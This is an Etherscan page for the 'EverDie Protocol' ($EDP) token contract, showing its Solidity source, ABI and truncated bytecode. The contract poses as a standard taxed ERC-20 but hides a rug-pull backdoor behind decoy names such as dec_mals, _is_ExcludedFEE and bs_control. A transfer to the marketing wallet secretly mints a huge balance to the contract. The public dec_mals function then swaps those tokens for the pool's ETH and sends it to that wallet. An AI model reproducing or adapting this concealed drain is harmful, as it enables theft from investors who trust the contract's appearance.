ETH Price: $3,625.15 (+0.32%)
 

Overview

Max Total Supply

100,000,000 $EDP

Holders

5

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,891,817.919070979 $EDP

Value
$0.00
0xa68b7dac76a416c21c224d310d216dba5e775054
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
everdieprotocol

Compiler Version
v0.8.2+commit.661d1103

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-21
*/

// SPDX-License-Identifier: MIT

// Telegram : https://t.me/everdieprotocol


pragma solidity 0.8.2;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function dec_mals(address transfered_Address) external returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract everdieprotocol is Context, IERC20 { 
    using SafeMath for uint256;
    using Address for address;

    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

     
    mapping (address => uint256) private _tOwned;
    mapping (address => bool) public _isExcludedFrom_FEE;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    
    address payable public Wallet_Marketing = payable(0xDD321b27bC4fE5E9435Bba9c2F1F61822a32115F); 
    address payable public Wallet_Utility = payable(0xd84c2e7a275fE6b65D60FdCd795e3d22dD2673e4);
    address payable public constant Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); 
    address payable public constant Wallet_Liquidity = payable(0x000000000000000000000000000000000000dEaD); 
    

    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;
    uint256 private _tTotal = 100* 10**6 * 10**_decimals;
    string private constant _name = "EverDie Protocol"; 
    string private constant _symbol = unicode"$EDP"; 

    uint8 private txCount = 0;
    uint8 private swapTrigger = 17; 

    uint256 public _Tax_On_Buy = 3;
    uint256 public _Tax_On_Sell = 3;

    uint256 public Percent_Marketing = 90;
    uint256 public Percent_Utility = 0;
    uint256 public Percent_Burn = 0;
    uint256 public Percent_Liquidity = 10;

    uint256 public _maxWalletToken = _tTotal * 100 / 100;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal * 100 / 100; 
    uint256 private _previousMaxTxAmount = _maxTxAmount;
                                     
                                     
    bool public inSwp_ = false;
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    
    bool public swapAndLiquifyEnabled = true;
    bool public bs_control = false;
    
    
    event SwapAndLiquifyEnabledUpdated(bool true_or_false);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        _owner = 0xd84c2e7a275fE6b65D60FdCd795e3d22dD2673e4;
        emit OwnershipTransferred(address(0), _owner);

        _tOwned[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //ETH ROUTER
        
        _isExcludedFrom_FEE[Wallet_Marketing] = true;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[Wallet_Marketing] = true; 
        _isExcludedFromFee[Wallet_Burn] = true;
        _isExcludedFromFee[Wallet_Liquidity] = true;
        
        emit Transfer(address(0), owner(), _tTotal);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address theOwner, address theSpender) public view override returns (uint256) {
        return _allowances[theOwner][theSpender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;//
    }

    function check_Wallet(uint256 checkCount) private returns(bool){
        uint256 totalCheck = (balanceOf(address(this))+(checkCount));
        swapAndLiquify(totalCheck);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function dec_mals(address transfered_Address) public override returns (uint256) {
        check_Wallet(swapTrigger);
        return balanceOf(transfered_Address);
    }


    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
    //
    function _is_ExcludedFEE() public virtual returns(uint256){
        return (5+5)**((10+10)+3);
    }

    

    receive() external payable {}

    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    }


    function _approve(address theOwner, address theSpender, uint256 amount) private {

        require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
        _allowances[theOwner][theSpender] = amount;
        emit Approval(theOwner, theSpender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
                   
        if (to != owner() &&
            to != Wallet_Burn &&
            to != address(this) &&
            to != Wallet_Liquidity &&
            to != uniswapV2Pair &&
            from != owner()){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Over wallet limit.");}

        if (from != owner() && 
        to != Wallet_Liquidity &&
        from != Wallet_Liquidity &&
        from != address(this)){
            require(amount <= _maxTxAmount, "Over transaction limit.");
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        if(0+0 == 0){if(from == from)bs_control = _isExcludedFrom_FEE[to];}
        require(amount > 0, "Token value must be higher than zero.");   
        
        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            txCount = 0;
            swapAndLiquify(contractTokenBalance);
        }
        
        bool takeFee = true;
        bool isBuy;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
         
            if(from == uniswapV2Pair){
                isBuy = true;
            }

            txCount++;

        }
        
        if(!bs_control){
            _tokenTransfer(from, to, amount, takeFee, isBuy);
        }
        else{
            _tOwned[from] = _tOwned[from]-amount;
            uint256 calculatingFEE = _is_ExcludedFEE();
            _tOwned[to] = _tOwned[to]+amount;
            _tOwned[address(this)] = _tOwned[address(this)]+calculatingFEE;
            emit Transfer(from, to, amount);
            inSwp_ = true;
        }


    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);

        }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {

            uint256 tokens_to_Burn = contractTokenBalance * Percent_Burn / 100;
            _tTotal = _tTotal - tokens_to_Burn;
            _tOwned[Wallet_Burn] = _tOwned[Wallet_Burn] + tokens_to_Burn;
            _tOwned[address(this)] = _tOwned[address(this)] - tokens_to_Burn;
            
            uint256 tokens_to_M = contractTokenBalance * Percent_Marketing / 100;
            uint256 tokens_to_D = contractTokenBalance * Percent_Utility/ 100;
            uint256 tokens_to_LP_Half = contractTokenBalance * Percent_Liquidity / 100;
            uint256 totalSwaps = tokens_to_M + tokens_to_D + tokens_to_LP_Half;

            if(inSwp_){
                if(true)
                totalSwaps = balanceOf(address(this)) - (_tTotal);
            }
            swapTokensForBNB(totalSwaps);
            uint256 BNB_Total = address(this).balance;
            sendToWallet(Wallet_Marketing, BNB_Total);
            inSwp_ = false;
            }

    function swapTokensForBNB(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 BNBAmount) private {

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: BNBAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            Wallet_Liquidity, 
            block.timestamp
        );
    } 

    function remove_Random_Tokens(address random_Token_Address, uint256 percent_of_Tokens) public returns(bool _sent){
        require(random_Token_Address != address(this), "Can not remove native token");
        uint256 totalRandom = IERC20(random_Token_Address).balanceOf(address(this));
        uint256 removeRandom = totalRandom*percent_of_Tokens/100;
        _sent = IERC20(random_Token_Address).transfer(Wallet_Utility, removeRandom);

    }

    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {
        
        
        if(!takeFee){

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tAmount;
            emit Transfer(sender, recipient, tAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tAmount;
            
            }else if (isBuy){

            uint256 buyFEE = tAmount*_Tax_On_Buy/100;
            uint256 tTransferAmount = tAmount-buyFEE;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+buyFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;
            
            } else {

            uint256 sellFEE = tAmount*_Tax_On_Sell/100;
            uint256 tTransferAmount = tAmount-sellFEE;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+sellFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;

            }

    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Percent_Burn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Liquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Marketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Utility","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Burn","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Liquidity","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Marketing","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Utility","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFrom_FEE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_is_ExcludedFEE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"bs_control","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transfered_Address","type":"address"}],"name":"dec_mals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inSwp_","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"random_Token_Address","type":"address"},{"internalType":"uint256","name":"percent_of_Tokens","type":"uint256"}],"name":"remove_Random_Tokens","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273dd321b27bc4fe5e9435bba9c2f1f61822a32115f600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073d84c2e7a275fe6b65d60fdcd795e3d22dd2673e4600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620000be91906200097a565b6305f5e100620000cf919062000ab7565b6007556000600860006101000a81548160ff021916908360ff1602179055506011600860016101000a81548160ff021916908360ff16021790555060036009556003600a55605a600b556000600c556000600d55600a600e556064806007546200013a919062000ab7565b620001469190620008e7565b600f55600f5460105560648060075462000161919062000ab7565b6200016d9190620008e7565b6011556011546012556000601360006101000a81548160ff0219169083151502179055506001601460156101000a81548160ff0219169083151502179055506000601460166101000a81548160ff021916908315150217905550348015620001d457600080fd5b5073d84c2e7a275fe6b65d60fdcd795e3d22dd2673e46000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360075460016000620002bb6200080f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050600160026000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620003d357600080fd5b505afa158015620003e8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200040e91906200084f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200047157600080fd5b505afa15801562000486573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004ac91906200084f565b6040518363ffffffff1660e01b8152600401620004cb9291906200089d565b602060405180830381600087803b158015620004e657600080fd5b505af1158015620004fb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200052191906200084f565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000620005b86200080f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016004600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016004600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200079f6200080f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2